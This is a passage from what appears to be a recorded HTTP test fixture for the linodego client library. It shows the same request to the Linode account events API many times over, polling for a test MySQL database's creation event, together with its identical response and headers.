headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:30:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:30:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:30:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:31:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:31:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:31:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:31:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:32:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:32:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:32:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:32:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:33:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:33:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:33:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:33:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:34:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:34:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:34:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - 